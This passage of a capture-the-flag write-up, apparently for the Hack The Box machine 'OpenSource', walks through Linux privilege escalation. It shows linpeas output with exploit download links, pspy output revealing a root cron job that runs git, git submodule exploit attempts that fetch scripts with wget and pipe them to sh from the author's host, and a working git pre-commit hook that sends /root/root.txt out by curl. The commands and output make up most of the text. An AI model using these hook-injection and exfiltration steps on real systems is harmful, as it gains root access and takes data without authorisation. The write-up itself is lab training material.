Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
Exposure: probable
Tags: [ ubuntu=18.04 ]{kernel:4.15.0-20-generic},fedora=28{kernel:4.16.3-301.fc28}
Download URL: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45886.zip
Comments: CONFIG_USER_NS needs to be enabled
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write
Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
Exposure: less probable
Tags: ubuntu=20.04{kernel:5.8.0-*}
Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploi
t.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
Comments: ip_tables kernel module must be loaded
[+] [CVE-2019-18634] sudo pwfeedback
Details: https://dylankatz.com/Analysis-of-CVE-2019-18634/
Exposure: less probable
Tags: mint=19
Download URL: https://github.com/saleemrashid/sudo-cve-2019-18634/raw/master/exploit.c
Comments: sudo configuration requires pwfeedback to be enabled.
[+] [CVE-2019-15666] XFRM_UAF
Details: https://duasynt.com/blog/ubuntu-centos-redhat-privesc
Exposure: less probable
Download URL:
Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled
[+] [CVE-2017-5618] setuid screen v4.5.0 LPE
Details: https://seclists.org/oss-sec/2017/q1/184
Exposure: less probable
Download URL: https://www.exploit-db.com/download/https://www.exploit-db.com/exploits/41154
[+] [CVE-2017-0358] ntfs-3g-modprobe
Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1072
Exposure: less probable
Tags: ubuntu=16.04{ntfs-3g:2015.3.14AR.1-1build1},debian=7.0{ntfs-3g:2012.1.15AR.5-2.1+deb7u2},debian=8.0{ntfs-3
g:2014.2.15AR.2-1+deb8u2}
Download URL: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/41356.zi
p
Comments: Distros use own versioning scheme. Manual verification needed. Linux headers must be installed. System
must have at least two CPU cores.
[...]
═════════════════════════════════════════╣ Interesting Files ╠═════════════════════════════════════════
╚═══════════════════╝
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
strings Not Found
-rwsr-xr-x 1 root root 121K Mar 3 13:40 /snap/snapd/15177/usr/lib/snapd/snap-confine ---> Ubuntu_snapd<
2.37_dirty_sock_Local_Privilege_Escalation(CVE-2019-7304)
-rwsr-xr-x 1 root root 121K Apr 8 19:36 /snap/snapd/15534/usr/lib/snapd/snap-confine ---> Ubuntu_snapd<2.3
7_dirty_sock_Local_Privilege_Escalation(CVE-2019-7304)
-rwsr-xr-x 1 root root 43K Sep 16 2020 /snap/core18/2344/bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-169
9.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 63K Jun 28 2019 /snap/core18/2344/bin/ping
-rwsr-xr-x 1 root root 44K Jan 25 16:26 /snap/core18/2344/bin/su
-rwsr-xr-x 1 root root 27K Sep 16 2020 /snap/core18/2344/bin/umount ---> BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 75K Jan 25 16:26 /snap/core18/2344/usr/bin/chfn ---> SuSE_9.3/10
-rwsr-xr-x 1 root root 44K Jan 25 16:26 /snap/core18/2344/usr/bin/chsh
-rwsr-xr-x 1 root root 75K Jan 25 16:26 /snap/core18/2344/usr/bin/gpasswd
-rwsr-xr-x 1 root root 40K Jan 25 16:26 /snap/core18/2344/usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x 1 root root 59K Jan 25 16:26 /snap/core18/2344/usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solari
s_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 146K Jan 19 2021 /snap/core18/2344/usr/bin/sudo ---> check_if_the_sudo_version_is_v
ulnerable
-rwsr-xr-- 1 root systemd-resolve 42K Jun 11 2020 /snap/core18/2344/usr/lib/dbus-1.0/dbus-daemon-launch-help
er
-rwsr-xr-x 1 root root 427K Mar 3 2020 /snap/core18/2344/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 31K Aug 11 2016 /bin/fusermount
-rwsr-xr-x 1 root root 27K Sep 16 2020 /bin/umount ---> BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 43K Sep 16 2020 /bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu
-1699.24.8
-rwsr-xr-x 1 root root 44K Jan 25 16:26 /bin/su
-rwsr-xr-x 1 root root 63K Jun 28 2019 /bin/ping
-rwsr-xr-x 1 root root 128K Feb 23 18:29 /usr/lib/snapd/snap-confine ---> Ubuntu_snapd<2.37_dirty_sock_Loca
l_Privilege_Escalation(CVE-2019-7304)
-rwsr-xr-x 1 root root 10K Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 99K Nov 23 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
-rwsr-xr-- 1 root messagebus 42K May 6 11:08 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 14K Jan 12 12:34 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 427K Mar 30 13:17 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 59K Jan 25 16:26 /usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SP
ARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 19K Jun 28 2019 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root root 40K Jan 25 16:26 /usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x 1 root root 37K Jan 25 16:26 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 44K Jan 25 16:26 /usr/bin/chsh
-rwsr-sr-x 1 daemon daemon 51K Feb 20 2018 /usr/bin/at ---> RTru64_UNIX_4.0g(CVE-2002-1614)
-rwsr-xr-x 1 root root 75K Jan 25 16:26 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 37K Jan 25 16:26 /usr/bin/newgidmap
-rwsr-xr-x 1 root root 146K Jan 19 2021 /usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 75K Jan 25 16:26 /usr/bin/chfn ---> SuSE_9.3/10
╔══════════╣ SGID
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
-rwxr-sr-x 1 root shadow 34K Apr 8 2021 /snap/core18/2344/sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root shadow 34K Apr 8 2021 /snap/core18/2344/sbin/unix_chkpwd
-rwxr-sr-x 1 root shadow 71K Jan 25 16:26 /snap/core18/2344/usr/bin/chage
-rwxr-sr-x 1 root shadow 23K Jan 25 16:26 /snap/core18/2344/usr/bin/expiry
-rwxr-sr-x 1 root crontab 355K Mar 3 2020 /snap/core18/2344/usr/bin/ssh-agent
-rwxr-sr-x 1 root tty 31K Sep 16 2020 /snap/core18/2344/usr/bin/wall
-rwxr-sr-x 1 root shadow 34K Apr 8 2021 /sbin/unix_chkpwd
-rwxr-sr-x 1 root shadow 34K Apr 8 2021 /sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root utmp 10K Mar 11 2016 /usr/lib/x86_64-linux-gnu/utempter/utempter
-rwxr-sr-x 1 root crontab 39K May 10 20:59 /usr/bin/crontab
-rwxr-sr-x 1 root shadow 23K Jan 25 16:26 /usr/bin/expiry
-rwxr-sr-x 1 root tty 14K Jan 17 2018 /usr/bin/bsd-write
-rwxr-sr-x 1 root tty 31K Sep 16 2020 /usr/bin/wall
-rwxr-sr-x 1 root mlocate 43K Mar 1 2018 /usr/bin/mlocate
-rwsr-sr-x 1 daemon daemon 51K Feb 20 2018 /usr/bin/at ---> RTru64_UNIX_4.0g(CVE-2002-1614)
-rwxr-sr-x 1 root shadow 71K Jan 25 16:26 /usr/bin/chage
-rwxr-sr-x 1 root ssh 355K Mar 30 13:17 /usr/bin/ssh-agent
[...]
╔══════════╣ Backup files (limited 100)
-rw-r--r-- 1 root root 8881 Mar 29 16:53 /lib/modules/4.15.0-176-generic/kernel/drivers/net/team/team_mode_activ
ebackup.ko
-rw-r--r-- 1 root root 9081 Mar 29 16:53 /lib/modules/4.15.0-176-generic/kernel/drivers/power/supply/wm831x_b
ackup.ko
-rw-r--r-- 1 root root 2765 Aug 6 2020 /etc/apt/sources.list.curtin.old
-rw-r--r-- 1 root root 35544 Mar 25 2020 /usr/lib/open-vm-tools/plugins/vmsvc/libvmbackup.so
-rw-r--r-- 1 root root 7867 Nov 7 2016 /usr/share/doc/telnet/README.telnet.old.gz
-rw-r--r-- 1 root root 361345 Feb 2 2018 /usr/share/doc/manpages/Changes.old.gz
-rwxr-xr-x 1 root root 226 Dec 4 2017 /usr/share/byobu/desktop/byobu.desktop.old
-rw-r--r-- 1 root root 1397 Aug 6 2020 /usr/share/sosreport/sos/plugins/__pycache__/ovirt_engine_backup.
cpython-36.pyc
-rw-r--r-- 1 root root 1758 Mar 24 2020 /usr/share/sosreport/sos/plugins/ovirt_engine_backup.py
-rw-r--r-- 1 root root 11755 May 4 16:05 /usr/share/info/dir.old
-rw-r--r-- 1 root root 2746 Jan 23 2020 /usr/share/man/man8/vgcfgbackup.8.gz
-rw-r--r-- 1 root root 217574 Mar 29 16:53 /usr/src/linux-headers-4.15.0-176-generic/.config.old
-rw-r--r-- 1 root root 0 Mar 29 16:53 /usr/src/linux-headers-4.15.0-176-generic/include/config/net/team/mode/active
backup.h
-rw-r--r-- 1 root root 0 Mar 29 16:53 /usr/src/linux-headers-4.15.0-176-generic/include/config/wm831x/backup
.h
[...]
As usual, I report only the points that I considered worthy of note. The process session is really very large, I'll come back to it later if I can't find anything useful. I tried all the suggested exploits, but none worked. Even between the SUIDs and the GUIDs, nothing interesting. Obviously, this activity has cost me a lot of time, so I will save you an innumerable amount of attempts that have not led to results, so there will be many others in the next section. Not finding a way out, I lean towards a suggestion from the forum, which advises searching among the processes... all processes, even the new ones. They practically clearly indicated to use the pspy, well, let's follow the advice.
2022/07/09 19:43:01 CMD: UID=0 PID=12725 | /bin/bash /usr/local/bin/git-sync
2022/07/09 19:43:01 CMD: UID=0 PID=12724 | /bin/sh -c /usr/local/bin/git-sync
2022/07/09 19:43:01 CMD: UID=0 PID=12723 | /usr/sbin/CRON -f
2022/07/09 19:43:01 CMD: UID=0 PID=12726 | git status --porcelain
2022/07/09 19:43:01 CMD: UID=0 PID=12729 | git commit -m Backup for 2022-07-09
2022/07/09 19:43:01 CMD: UID=0 PID=12731 | /usr/lib/git-core/git-remote-http origin http://opensource.htb:3000/dev01/home-backup.git
2022/07/09 19:43:01 CMD: UID=0 PID=12730 | git push origin main
This is what appears cyclically at regular intervals. It seems that a script (git-sync) is started regularly... as the root user. Let's take a look at it.
dev01@opensource:~$ cat /usr/local/bin/git-sync
#!/bin/bash
cd /home/dev01/
if ! git status --porcelain; then
echo "No changes"
else
day=$(date +'%Y-%m-%d')
echo "Changes detected, pushing.."
git add .
git commit -m "Backup for ${day}"
git push origin main
fi
It appears to be the script that updates the dev01 user's home folder repository, on the previously found git server, in case of changes. I'm a little hesitant, it might just be a process put in there to allow all the BOX patrons to fix it, if any other pentester, damages the one currently online... or maybe not. Anyway, that's another possible point of attack. Let's take a closer look.
dev01@opensource:~$ git --version
git version 2.17.1
Identified the specific version of git installed on the BOX, I proceed to search for exploits and, with amazement, I find many. Most of them refer to the same vulnerability.
I collect all the git repositories that I have found and I concentrate on studying a mixed solution between all since they still exploit the same vulnerability. To allow you to learn more, I report the list of repositories below.
https://skynettools.com/git-2-17-1-remote-code-execution/
https://github.com/AnonymKing/CVE-2018-17456
https://github.com/matlink/CVE-2018-17456
https://github.com/shpik-kr/CVE-2018-17456
https://github.com/brompwnie/cve-2020-5260
https://github.com/sv3nbeast/CVE-2020-5260
https://github.com/CHYbeta/CVE-2018-11235-DEMO
https://github.com/qweraqq/CVE-2018-11235-Git-Submodule-CE
https://github.com/jhswartz/CVE-2018-11235
I proceed to try a few, but they won't work.
dev01@opensource:~$ git submodule add "./tempexp" vuln
Cloning into '/home/dev01/vuln'...
fatal: unable to access 'http://opensource.htb:3000/dev01/home-backup.git/tempexp/': Could not resolve host: opensource.htb
fatal: clone of 'http://opensource.htb:3000/dev01/home-backup.git/tempexp' into submodule path '/home/dev01/vuln' failed
It appears that it is unable to reach the opensource.htb address. I try to check, but even with a simple curl, the BOX does not resolve the specific domain.
dev01@opensource:~$ curl http://opensource.htb:3000/dev01/home-backup.git -v
* Could not resolve host: opensource.htb
* Closing connection 0
curl: (6) Could not resolve host: opensource.htb
I check the hosts file and apparently the domain is missing.
dev01@opensource:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 opensource
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
However, the name of the machine is present; I can use that.
dev01@opensource:~$ curl http://opensource:3000/dev01/home-backup.git -v
* Trying 127.0.1.1...
* TCP_NODELAY set
* Connected to opensource (127.0.1.1) port 3000 (#0)
> GET /dev01/home-backup.git HTTP/1.1
> Host: opensource:3000
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 404 Not Found
< Set-Cookie: i_like_gitea=04da90e6379059e3; Path=/; HttpOnly; SameSite=Lax
< Set-Cookie: _csrf=5-bgt2GVOrl-yng5xb4olMtxMfI6MTY1NzQ1MTUxNDU0NTY3NTIxNw; Path=/; Expires=Mon, 11 Jul 2022 11:11:54 GMT; HttpOnly; SameSite=Lax
< Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly; SameSite=Lax
< X-Frame-Options: SAMEORIGIN
< Date: Sun, 10 Jul 2022 11:11:54 GMT
< Content-Length: 11
< Content-Type: text/plain; charset=utf-8
<
Not found.
* Connection #0 to host opensource left intact
Good, it seems to work, so, let's check the remote server configured and, if needed, change it.
dev01@opensource:~$ git remote -v
origin http://opensource.htb:3000/dev01/home-backup.git (fetch)
origin http://opensource.htb:3000/dev01/home-backup.git (push)
dev01@opensource:~$ git remote set-url origin http://opensource:3000/dev01/home-backup.git
dev01@opensource:~$ git remote -v
origin http://opensource:3000/dev01/home-backup.git (fetch)
origin http://opensource:3000/dev01/home-backup.git (push)
Well, let's try again.
dev01@opensource:~$ git submodule add "./tempexp" vuln
Cloning into '/home/dev01/vuln'...
remote: Not found.
fatal: repository 'http://opensource:3000/dev01/home-backup.git/tempexp/' not found
fatal: clone of 'http://opensource:3000/dev01/home-backup.git/tempexp' into submodule path '/home/dev01/vuln' failed
Either way, it doesn't work, let's move on to the next exploit.
In this exploit, a submodule with a malicious script is placed inside a second repository which will be activated during the cloning (the clone must be started with the --recurse-submodule option). I edited the script with a curl to my machine, just to see if the exploit works. Let's try.
dev01@opensource:~$ git submodule add http://opensource:3000/dev01/home-backup.git evil
Cloning into '/home/dev01/evil'...
Username for 'http://opensource:3000': dev01
Password for 'http://dev01@opensource:3000':
remote: Counting objects: 11, done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 11 (delta 0), reused 0 (delta 0)
Unpacking objects: 100% (11/11), done.
dev01@opensource:~$ mkdir modules
dev01@opensource:~$ cd modules/
dev01@opensource:~/modules$ wget http://10.10.14.162:5000/vuln.sh
--2022-07-11 20:02:26-- http://10.10.14.162:5000/vuln.sh
Connecting to 10.10.14.162:5000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 85 [application/x-sh]
Saving to: ‘vuln.sh’
vuln.sh 100%[=============================================>] 85 --.-KB/s in 0s
2022-07-11 20:02:26 (17.3 MB/s) - ‘vuln.sh’ saved [85/85]
dev01@opensource:~/modules$ chmod +x vuln.sh
dev01@opensource:~/modules$ cd ..
dev01@opensource:~$ cp -r .git/modules/evil modules/
dev01@opensource:~$ cp modules/vuln.sh modules/evil/hooks/post-checkout
dev01@opensource:~$ git add modules
error: insufficient permission for adding an object to repository database .git/objects
error: modules/evil/description: failed to insert into database
error: unable to index file modules/evil/description
fatal: adding files failed
dev01@opensource:~$ git status
On branch main
Your branch is ahead of 'origin/main' by 7 commits.
(use "git push" to publish your local commits)
nothing to commit, working tree clean
dev01@opensource:~$ git add modules
dev01@opensource:~$ mkdir tmpexp
dev01@opensource:~$ cd tmpexp/
dev01@opensource:~/tmpexp$ git clone --recurse-submodules http://opensource:3000/dev01/home-backup.git
Cloning into 'home-backup'...
Username for 'http://opensource:3000': dev01
Password for 'http://dev01@opensource:3000':
remote: Counting objects: 11, done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 11 (delta 0), reused 0 (delta 0)
Unpacking objects: 100% (11/11), done.
Another interesting repository is this one.
So, I prepare my script.
#!/bin/bash
set -e
repo_sub="/tmp/repo_sub"
git init "$repo_sub"
cd "$repo_sub"
touch chybeta
git add chybeta
git commit -m "test"
cd
repo_par="$PWD"
repo_submodule='/tmp/repo_sub'
git submodule add "$repo_submodule" vuln
mkdir modules
cp -r .git/modules/vuln modules
wget http://10.10.14.162:5000/vuln.sh
chmod +x vuln.sh
cp ./vuln.sh modules/vuln/hooks/post-checkout
rm vuln.sh
git add modules
git config -f .gitmodules --rename-section submodule.vuln submodule.../../modules/vuln
git submodule add "$repo_submodule"
git commit -m "exploit"
echo "git clone --recurse-submodules \"$repo_par\" dest_dir"
Modify the build.sh file based on my needs and launch the attack.
dev01@opensource:~$ curl http://10.10.14.162:5000/build.sh | sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 613 100 613 0 0 5675 0 --:--:-- --:--:-- --:--:-- 5675
Initialized empty Git repository in /tmp/repo_sub/.git/
*** Please tell me who you are.
Run
git config --global user.email "[email protected]"
git config --global user.name "Your Name"
to set your account's default identity.
Omit --global to set the identity only in this repository.
fatal: unable to auto-detect email address (got 'dev01@opensource.(none)')
dev01@opensource:~$ git config --global user.email "[email protected]"
dev01@opensource:~$ git config --global user.name "Your Name"
dev01@opensource:~$ curl http://10.10.14.162:5000/build.sh | sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 613 100 613 0 0 5675 0 --:--:-- --:--:-- --:--:-- 5675
Reinitialized existing Git repository in /tmp/repo_sub/.git/
[master (root-commit) a69400e] test
1 file changed, 0 insertions(+), 0 deletions(-)
create mode 100644 chybeta
Cloning into '/home/dev01/vuln'...
done.
error: insufficient permission for adding an object to repository database .git/objects
error: .gitmodules: failed to insert into database
error: unable to index file .gitmodules
fatal: adding files failed
Failed to register submodule 'vuln'
It doesn't seem to work. Ok, let's not give up, in any case, we are looking for a privesc that uses the git command. I specifically search for "git 2.17.1 privesc on commit" and suddenly it shines... not exactly... but a site I know very well appears in the first search results.
Ok, let's try the simple stuff first but I've already read something really interesting. Let's try to reach the root file first.
dev01@opensource:~$ LFILE=/root/root.txt
dev01@opensource:~$ git diff /dev/null $LFILE
error: Could not access '/root/root.txt'
Ok, as I imagined, but what really interests me is this.
Come on, it seems to exploit exactly the same vulnerability in the hooks, but without fuss... if it worked it would be the best.
echo '#!/bin/sh' > ./.git/hooks/pre-commit
echo 'curl http://10.10.14.162:5000/workinghack' >> ./.git/hooks/pre-commit
chmod +x .git/hooks/pre-commit
Start simple, just to understand.
┌──(in7rud3r㉿kali-muletto)-[~/…/_10.10.11.164 - OpenSource (lin)/attack/upld/CVE-2018-11235-DEMO]
└─$ php -S 10.10.14.162:5000
[Mon Jul 11 22:33:19 2022] PHP 8.1.5 Development Server (http://10.10.14.162:5000) started
[Mon Jul 11 23:33:49 2022] 10.10.11.164:40944 Accepted
[Mon Jul 11 23:33:49 2022] 10.10.11.164:40944 [404]: GET /workinghack - No such file or directory
[Mon Jul 11 23:33:49 2022] 10.10.11.164:40944 Closing
Really? It works? Let's make the right script then!
echo '#!/bin/sh' > ./.git/hooks/pre-commit
echo 'curl http://10.10.14.162:5000/$(cat /root/root.txt)' >> ./.git/hooks/pre-commit
chmod +x .git/hooks/pre-commit
And...
[Mon Jul 11 23:44:49 2022] 10.10.11.164:41178 Accepted
[Mon Jul 11 23:44:49 2022] 10.10.11.164:41178 [404]: GET /6******************************d - No such file or directory
[Mon Jul 11 23:44:49 2022] 10.10.11.164:41178 Closing
Wooooo... really good my friends. Also this time that's all folks, have a nice hacking until next BOX. See you ASAP.